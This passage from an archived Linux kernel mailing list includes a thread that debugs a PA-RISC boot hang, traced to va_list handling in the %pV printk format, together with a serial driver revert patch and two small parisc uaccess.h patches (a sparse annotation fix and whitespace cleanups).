        by mx.google.com with ESMTPSA id z61sm32306543qge.21.2015.01.05.08.03.09
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 05 Jan 2015 08:03:09 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <1420439672.7744.1.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25539 gmane.linux.serial:17197
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25539>

On 01/05/2015 01:34 AM, James Bottomley wrote:
> On Sun, 2015-01-04 at 15:41 -0500, John David Anglin wrote:
>> On 2015-01-04, at 2:12 PM, James Bottomley wrote:
>>
>>> On Fri, 2015-01-02 at 10:51 -0800, Greg Kroah-Hartman wrote:
>>>> On Fri, Jan 02, 2015 at 10:05:13AM -0800, James Bottomley wrote:
>>>>> From: James Bottomley <JBottomley@Parallels.com>
>>>>>
>>>>> This is a partial revert of 2f2dafe (serial: serial_core.c: printk
>>>>> replacement) which gets us booting again.  The real problem seems to be
>>>>> the _emit path in early boot.  However, until we can root cause it, we
>>>>> need at least to get boot working.
>>>>>
>>>>> Fixes: 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
>>>>> Cc: stable@vger.kernel.org
>>>>> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
>>>>>
>>>>> ---
>>>>>
>>>>> diff --git a/drivers/tty/serial/serial_core.c b/drivers/tty/serial/serial_core.c
>>>>> index 57ca61b..984605b 100644
>>>>> --- a/drivers/tty/serial/serial_core.c
>>>>> +++ b/drivers/tty/serial/serial_core.c
>>>>> @@ -2164,7 +2164,9 @@ uart_report_port(struct uart_driver *drv, struct uart_port *port)
>>>>> 		break;
>>>>> 	}
>>>>>
>>>>> -	dev_info(port->dev, "%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
>>>>> +	printk(KERN_INFO "%s%s%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
>>>>> +	       port->dev ? dev_name(port->dev) : "",
>>>>> +	       port->dev ? ": " : "",
>>>>> 	       drv->dev_name,
>>>>> 	       drv->tty_driver->name_base + port->line,
>>>>> 	       address, port->irq, port->uartclk / 16, uart_type(port));
>>>>
>>>> Very odd, but I'll go queue it up, thanks.
>>>
>>> OK, well this turned out to be one of the weirder fishing expeditions
>>> I've been on.  The problem is this strange linux specific printf format
>>> flag %pV.  The way to fix the bug is not to indirect the dev_xxx printks
>>> via %pV.  What's happening is that in some circumstances, using %pV
>>> corrupts the stack.
>>>
>>> The reason seems to be that whoever came up with %pV didn't read the man
>>> pages carefully enough. In all the examples and use cases, the va_list
>>> is passed by *copy* not by reference.  For some inexplicable reason it's
>>> passed by reference in struct va_format.  Sure enough when I fix up my
>>> local tree to pass by copy it all works (at least as far as I can tell:
>>> most of the time the stack corruption passes unnoticed and minor
>>> disturbances can affect that.  However, the type and size of the va_list
>>> is the same in reference and copy, so I think it's reasonably
>>> definitive).
>>>
>>> I'd really like one of our gcc experts to comment here because all of
>>> these are builtin_ types and functions, so why there's a problem is a
>>> mystery (translate: I don't understand enough of gcc to make sense of
>>> the source code), but the surmise would be that the builtins are taking
>>> some stack frame information from the source and, because it's a pointer
>>> not a copy, it's in the wrong frame.
>>>
>>> Assuming this turns out to be the problem, fixing it is going to be a
>>> real bugger because on most platforms, the type of va_list is void *
>>> meaning you can't tell the difference at compile time between a copy and
>>> a reference, because typeof(void *) == typeof(void **),  and this %pV is
>>> sprayed all over our code base.
>>>
>>> We should probably also have the security experts look it over because
>>> any way of inducing stack frame corruption is potentially exploitable,
>>> although, in this case, I think all of the uses are internal so the user
>>> doesn't have the ability to influence the source data.
>>
>>
>> Would it be possible to create a relatively simple test case?
> 
> Unfortunately not.  I'm no longer even sure this is the root cause: it
> reproduced again, even passing va_list by copy.

Is your "passing va_list by copy" using va_copy()?

>> On 64-bit parisc, the va_list is built up in part by
>> hppa_builtin_saveregs() in pa.c.
>> It's stored in a region in the callers frame reserved for arguments.
>>
>> I tend to think it's dangerous to pass a va_list by reference as in
>> general the called
>> function is free to use the incoming argument region for its own
>> purposes after
>> the incoming arguments have been copied.  This might be the cause of
>> the stack
>> corruption you are seeing.
>>
>> On parisc, the callee is responsible for copying incoming arguments if
>> necessary.
>> This is somewhat unusual...

How is va_copy() implemented on parisc?

Regards,
Peter Hurley
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: [PATCH] serial: fix parisc boot hang
Date: Mon, 05 Jan 2015 08:51:52 -0800
Lines: 96
Approved: news@gmane.org
Message-ID: <1420476712.2080.3.camel@HansenPartnership.com>
References: <1420221913.2072.7.camel@HansenPartnership.com>
		 <20150102185127.GA8636@kroah.com>
		 <1420398768.2078.1.camel@HansenPartnership.com>
		 <BLU436-SMTP18804757BD2AD6E29059A76975B0@phx.gbl>
	 <1420439672.7744.1.camel@HansenPartnership.com>
	 <54AAB5B0.7080207@hurleysoftware.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420476725 26873 80.91.229.3 (5 Jan 2015 16:52:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 5 Jan 2015 16:52:05 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	linux-serial@vger.kernel.org,
	Sudip Mukherjee <sudipm.mukherjee@gmail.com>
To: Peter Hurley <peter@hurleysoftware.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 05 17:51:57 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y8Asl-00028r-W3
	for glpp-linux-parisc@plane.gmane.org; Mon, 05 Jan 2015 17:51:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753436AbbAEQvz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 5 Jan 2015 11:51:55 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50996 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752809AbbAEQvy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 5 Jan 2015 11:51:54 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2515C8EE04F;
	Mon,  5 Jan 2015 08:51:54 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id dQcPA4tsMtJh; Mon,  5 Jan 2015 08:51:54 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9A21F8EE025;
	Mon,  5 Jan 2015 08:51:53 -0800 (PST)
In-Reply-To: <54AAB5B0.7080207@hurleysoftware.com>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25540 gmane.linux.serial:17198
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25540>

On Mon, 2015-01-05 at 11:02 -0500, Peter Hurley wrote:
> On 01/05/2015 01:34 AM, James Bottomley wrote:
> > On Sun, 2015-01-04 at 15:41 -0500, John David Anglin wrote:
> >> On 2015-01-04, at 2:12 PM, James Bottomley wrote:
> >>
> >>> On Fri, 2015-01-02 at 10:51 -0800, Greg Kroah-Hartman wrote:
> >>>> On Fri, Jan 02, 2015 at 10:05:13AM -0800, James Bottomley wrote:
> >>>>> From: James Bottomley <JBottomley@Parallels.com>
> >>>>>
> >>>>> This is a partial revert of 2f2dafe (serial: serial_core.c: printk
> >>>>> replacement) which gets us booting again.  The real problem seems to be
> >>>>> the _emit path in early boot.  However, until we can root cause it, we
> >>>>> need at least to get boot working.
> >>>>>
> >>>>> Fixes: 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
> >>>>> Cc: stable@vger.kernel.org
> >>>>> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
> >>>>>
> >>>>> ---
> >>>>>
> >>>>> diff --git a/drivers/tty/serial/serial_core.c b/drivers/tty/serial/serial_core.c
> >>>>> index 57ca61b..984605b 100644
> >>>>> --- a/drivers/tty/serial/serial_core.c
> >>>>> +++ b/drivers/tty/serial/serial_core.c
> >>>>> @@ -2164,7 +2164,9 @@ uart_report_port(struct uart_driver *drv, struct uart_port *port)
> >>>>> 		break;
> >>>>> 	}
> >>>>>
> >>>>> -	dev_info(port->dev, "%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
> >>>>> +	printk(KERN_INFO "%s%s%s%d at %s (irq = %d, base_baud = %d) is a %s\n",
> >>>>> +	       port->dev ? dev_name(port->dev) : "",
> >>>>> +	       port->dev ? ": " : "",
> >>>>> 	       drv->dev_name,
> >>>>> 	       drv->tty_driver->name_base + port->line,
> >>>>> 	       address, port->irq, port->uartclk / 16, uart_type(port));
> >>>>
> >>>> Very odd, but I'll go queue it up, thanks.
> >>>
> >>> OK, well this turned out to be one of the weirder fishing expeditions
> >>> I've been on.  The problem is this strange linux specific printf format
> >>> flag %pV.  The way to fix the bug is not to indirect the dev_xxx printks
> >>> via %pV.  What's happening is that in some circumstances, using %pV
> >>> corrupts the stack.
> >>>
> >>> The reason seems to be that whoever came up with %pV didn't read the man
> >>> pages carefully enough. In all the examples and use cases, the va_list
> >>> is passed by *copy* not by reference.  For some inexplicable reason it's
> >>> passed by reference in struct va_format.  Sure enough when I fix up my
> >>> local tree to pass by copy it all works (at least as far as I can tell:
> >>> most of the time the stack corruption passes unnoticed and minor
> >>> disturbances can affect that.  However, the type and size of the va_list
> >>> is the same in reference and copy, so I think it's reasonably
> >>> definitive).
> >>>
> >>> I'd really like one of our gcc experts to comment here because all of
> >>> these are builtin_ types and functions, so why there's a problem is a
> >>> mystery (translate: I don't understand enough of gcc to make sense of
> >>> the source code), but the surmise would be that the builtins are taking
> >>> some stack frame information from the source and, because it's a pointer
> >>> not a copy, it's in the wrong frame.
> >>>
> >>> Assuming this turns out to be the problem, fixing it is going to be a
> >>> real bugger because on most platforms, the type of va_list is void *
> >>> meaning you can't tell the difference at compile time between a copy and
> >>> a reference, because typeof(void *) == typeof(void **),  and this %pV is
> >>> sprayed all over our code base.
> >>>
> >>> We should probably also have the security experts look it over because
> >>> any way of inducing stack frame corruption is potentially exploitable,
> >>> although, in this case, I think all of the uses are internal so the user
> >>> doesn't have the ability to influence the source data.
> >>
> >>
> >> Would it be possible to create a relatively simple test case?
> > 
> > Unfortunately not.  I'm no longer even sure this is the root cause: it
> > reproduced again, even passing va_list by copy.
> 
> Is your "passing va_list by copy" using va_copy()?

No ... it refers to passing the va_list through the call frames before
you get to va_copy.  If you do man stdarg on most linux systems, it will
give examples of this.

varargs is very stack and architecture dependent, so you have to be very
careful to execute va_start/va_copy (code) va_end in the same call
frame.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v2 12/40] parisc/uaccess: fix sparse errors
Date: Tue, 6 Jan 2015 17:44:10 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <1420558883-10131-13-git-send-email-mst@redhat.com>
References: <1420558883-10131-1-git-send-email-mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1420559595 29935 80.91.229.3 (6 Jan 2015 15:53:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2015 15:53:15 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jan 06 16:53:08 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Y8WR2-0003U4-Ck
	for glka-linux-arch@plane.gmane.org; Tue, 06 Jan 2015 16:52:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756196AbbAFPw3 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 6 Jan 2015 10:52:29 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:50804 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755771AbbAFPoa (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 6 Jan 2015 10:44:30 -0500
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id t06FiEJG017746
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Tue, 6 Jan 2015 10:44:14 -0500
Original-Received: from redhat.com (ovpn-116-68.ams2.redhat.com [10.36.116.68])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id t06FiBCP023501;
	Tue, 6 Jan 2015 10:44:11 -0500
Content-Disposition: inline
In-Reply-To: <1420558883-10131-1-git-send-email-mst@redhat.com>
X-Mutt-Fcc: =sent
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:25962 gmane.linux.kernel:1859642 gmane.linux.ports.parisc:25541
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/25962>

virtio wants to read bitwise types from userspace using get_user.  At the
moment this triggers sparse errors, since the value is passed through an
integer.

Fix that up using __force.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Acked-by: Helge Deller <deller@gmx.de>
---
 arch/parisc/include/asm/uaccess.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index a5cb070..6c79311 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -104,7 +104,7 @@ struct exception_data {
 	    }                                           \
 	}                                               \
 							\
-	(x) = (__typeof__(*(ptr))) __gu_val;            \
+	(x) = (__force __typeof__(*(ptr))) __gu_val;	\
 	__gu_err;                                       \
 })
 
-- 
MST


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Tsirkin" <mst@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH v2 37/40] parisc: macro whitespace fixes
Date: Tue, 6 Jan 2015 17:45:34 +0200
Lines: 220
Approved: news@gmane.org
Message-ID: <1420558883-10131-38-git-send-email-mst@redhat.com>
References: <1420558883-10131-1-git-send-email-mst@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1420561394 27351 80.91.229.3 (6 Jan 2015 16:23:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 6 Jan 2015 16:23:14 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jan 06 17:23:07 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Y8Wtv-0007os-L8
	for glk-linux-kernel-3@plane.gmane.org; Tue, 06 Jan 2015 17:22:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755619AbbAFQWU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 6 Jan 2015 11:22:20 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:51447 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751978AbbAFQWR (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 6 Jan 2015 11:22:17 -0500
Original-Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id t06GLvrb000673
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
	Tue, 6 Jan 2015 11:21:58 -0500
Original-Received: from redhat.com (ovpn-116-68.ams2.redhat.com [10.36.116.68])
	by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id t06FjZIi021997;
	Tue, 6 Jan 2015 10:45:36 -0500
Content-Disposition: inline
In-Reply-To: <1420558883-10131-1-git-send-email-mst@redhat.com>
X-Mutt-Fcc: =sent
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1859665 gmane.linux.kernel.cross-arch:25969 gmane.linux.ports.parisc:25542
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1859665>

While working on arch/parisc/include/asm/uaccess.h, I noticed
that some macros within this header are made harder to read because they
violate a coding style rule: space is missing after comma.

Fix it up.

Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
---
 arch/parisc/include/asm/uaccess.h | 116 +++++++++++++++++++-------------------
 1 file changed, 58 insertions(+), 58 deletions(-)

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 6c79311..0abdd4c 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -17,7 +17,7 @@
 #define KERNEL_DS	((mm_segment_t){0})
 #define USER_DS 	((mm_segment_t){1})
 
-#define segment_eq(a,b)	((a).seg == (b).seg)
+#define segment_eq(a, b) ((a).seg == (b).seg)
 
 #define get_ds()	(KERNEL_DS)
 #define get_fs()	(current_thread_info()->addr_limit)
@@ -42,14 +42,14 @@ static inline long access_ok(int type, const void __user * addr,
 #if !defined(CONFIG_64BIT)
 #define LDD_KERNEL(ptr)		BUILD_BUG()
 #define LDD_USER(ptr)		BUILD_BUG()
-#define STD_KERNEL(x, ptr)	__put_kernel_asm64(x,ptr)
-#define STD_USER(x, ptr)	__put_user_asm64(x,ptr)
+#define STD_KERNEL(x, ptr)	__put_kernel_asm64(x, ptr)
+#define STD_USER(x, ptr)	__put_user_asm64(x, ptr)
 #define ASM_WORD_INSN		".word\t"
 #else
-#define LDD_KERNEL(ptr)		__get_kernel_asm("ldd",ptr)
-#define LDD_USER(ptr)		__get_user_asm("ldd",ptr)
-#define STD_KERNEL(x, ptr)	__put_kernel_asm("std",x,ptr)
-#define STD_USER(x, ptr)	__put_user_asm("std",x,ptr)
+#define LDD_KERNEL(ptr)		__get_kernel_asm("ldd", ptr)
+#define LDD_USER(ptr)		__get_user_asm("ldd", ptr)
+#define STD_KERNEL(x, ptr)	__put_kernel_asm("std", x, ptr)
+#define STD_USER(x, ptr)	__put_user_asm("std", x, ptr)
 #define ASM_WORD_INSN		".dword\t"
 #endif
 
@@ -80,68 +80,68 @@ struct exception_data {
 	unsigned long fault_addr;
 };
 
-#define __get_user(x,ptr)                               \
-({                                                      \
-	register long __gu_err __asm__ ("r8") = 0;      \
-	register long __gu_val __asm__ ("r9") = 0;      \
-							\
-	if (segment_eq(get_fs(),KERNEL_DS)) {           \
-	    switch (sizeof(*(ptr))) {                   \
-	    case 1: __get_kernel_asm("ldb",ptr); break; \
-	    case 2: __get_kernel_asm("ldh",ptr); break; \
-	    case 4: __get_kernel_asm("ldw",ptr); break; \
-	    case 8: LDD_KERNEL(ptr); break;		\
-	    default: BUILD_BUG(); break;		\
-	    }                                           \
-	}                                               \
-	else {                                          \
-	    switch (sizeof(*(ptr))) {                   \
-	    case 1: __get_user_asm("ldb",ptr); break;   \
-	    case 2: __get_user_asm("ldh",ptr); break;   \
-	    case 4: __get_user_asm("ldw",ptr); break;   \
-	    case 8: LDD_USER(ptr);  break;		\
-	    default: BUILD_BUG(); break;		\
-	    }                                           \
-	}                                               \
-							\
-	(x) = (__force __typeof__(*(ptr))) __gu_val;	\
-	__gu_err;                                       \
+#define __get_user(x, ptr)                               \
+({                                                       \
+	register long __gu_err __asm__ ("r8") = 0;       \
+	register long __gu_val __asm__ ("r9") = 0;       \
+							 \
+	if (segment_eq(get_fs(), KERNEL_DS)) {           \
+	    switch (sizeof(*(ptr))) {                    \
+	    case 1: __get_kernel_asm("ldb", ptr); break; \
+	    case 2: __get_kernel_asm("ldh", ptr); break; \
+	    case 4: __get_kernel_asm("ldw", ptr); break; \
+	    case 8: LDD_KERNEL(ptr); break;		 \
+	    default: BUILD_BUG(); break;		 \
+	    }                                            \
+	}                                                \
+	else {                                           \
+	    switch (sizeof(*(ptr))) {                    \
+	    case 1: __get_user_asm("ldb", ptr); break;   \
+	    case 2: __get_user_asm("ldh", ptr); break;   \
+	    case 4: __get_user_asm("ldw", ptr); break;   \
+	    case 8: LDD_USER(ptr);  break;		 \
+	    default: BUILD_BUG(); break;		 \
+	    }                                            \
+	}                                                \
+							 \
+	(x) = (__force __typeof__(*(ptr))) __gu_val;	 \
+	__gu_err;                                        \
 })
 
-#define __get_kernel_asm(ldx,ptr)                       \
+#define __get_kernel_asm(ldx, ptr)                      \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n\t"		\
 		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_get_user_skip_1)\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err)		\
 		: "r1");
 
-#define __get_user_asm(ldx,ptr)                         \
+#define __get_user_asm(ldx, ptr)                        \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n\t"	\
-		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_get_user_skip_1)\
+		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_get_user_skip_1)\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err)		\
 		: "r1");
 
-#define __put_user(x,ptr)                                       \
+#define __put_user(x, ptr)                                      \
 ({								\
 	register long __pu_err __asm__ ("r8") = 0;      	\
         __typeof__(*(ptr)) __x = (__typeof__(*(ptr)))(x);	\
 								\
-	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
+	if (segment_eq(get_fs(), KERNEL_DS)) {                  \
 	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_kernel_asm("stb",__x,ptr); break;     \
-	    case 2: __put_kernel_asm("sth",__x,ptr); break;     \
-	    case 4: __put_kernel_asm("stw",__x,ptr); break;     \
-	    case 8: STD_KERNEL(__x,ptr); break;			\
+	    case 1: __put_kernel_asm("stb", __x, ptr); break;   \
+	    case 2: __put_kernel_asm("sth", __x, ptr); break;   \
+	    case 4: __put_kernel_asm("stw", __x, ptr); break;   \
+	    case 8: STD_KERNEL(__x, ptr); break;		\
 	    default: BUILD_BUG(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
 	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_user_asm("stb",__x,ptr); break;       \
-	    case 2: __put_user_asm("sth",__x,ptr); break;       \
-	    case 4: __put_user_asm("stw",__x,ptr); break;       \
-	    case 8: STD_USER(__x,ptr); break;			\
+	    case 1: __put_user_asm("stb", __x, ptr); break;     \
+	    case 2: __put_user_asm("sth", __x, ptr); break;     \
+	    case 4: __put_user_asm("stw", __x, ptr); break;     \
+	    case 8: STD_USER(__x, ptr); break;			\
 	    default: BUILD_BUG(); break;			\
 	    }                                                   \
 	}                                                       \
@@ -159,18 +159,18 @@ struct exception_data {
  * r8/r9 are already listed as err/val.
  */
 
-#define __put_kernel_asm(stx,x,ptr)                         \
+#define __put_kernel_asm(stx, x, ptr)                       \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n\t"		    \
-		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_1)\
+		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
 	    	: "r1")
 
-#define __put_user_asm(stx,x,ptr)                           \
+#define __put_user_asm(stx, x, ptr)                         \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n\t"	    \
-		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_1)\
+		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
 		: "r1")
@@ -178,23 +178,23 @@ struct exception_data {
 
 #if !defined(CONFIG_64BIT)
 
-#define __put_kernel_asm64(__val,ptr) do {		    \
+#define __put_kernel_asm64(__val, ptr) do {		    \
 	__asm__ __volatile__ (				    \
 		"\n1:\tstw %2,0(%1)"			    \
 		"\n2:\tstw %R2,4(%1)\n\t"		    \
-		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_2)\
-		ASM_EXCEPTIONTABLE_ENTRY(2b,fixup_put_user_skip_1)\
+		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_put_user_skip_2)\
+		ASM_EXCEPTIONTABLE_ENTRY(2b, fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(__val), "0"(__pu_err) \
 		: "r1");				    \
 } while (0)
 
-#define __put_user_asm64(__val,ptr) do {	    	    \
+#define __put_user_asm64(__val, ptr) do {	    	    \
 	__asm__ __volatile__ (				    \
 		"\n1:\tstw %2,0(%%sr3,%1)"		    \
 		"\n2:\tstw %R2,4(%%sr3,%1)\n\t"		    \
-		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_2)\
-		ASM_EXCEPTIONTABLE_ENTRY(2b,fixup_put_user_skip_1)\
+		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_put_user_skip_2)\
+		ASM_EXCEPTIONTABLE_ENTRY(2b, fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(__val), "0"(__pu_err) \
 		: "r1");				    \
@@ -211,8 +211,8 @@ extern unsigned long lcopy_to_user(void __user *, const void *, unsigned long);
 extern unsigned long lcopy_from_user(void *, const void __user *, unsigned long);
 extern unsigned long lcopy_in_user(void __user *, const void __user *, unsigned long);
 extern long strncpy_from_user(char *, const char __user *, long);
-extern unsigned lclear_user(void __user *,unsigned long);
-extern long lstrnlen_user(const char __user *,long);
+extern unsigned lclear_user(void __user *, unsigned long);
+extern long lstrnlen_user(const char __user *, long);
 /*
  * Complex access routines -- macros
  */
-- 
MST


From - Thu Nov 08 21:37:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
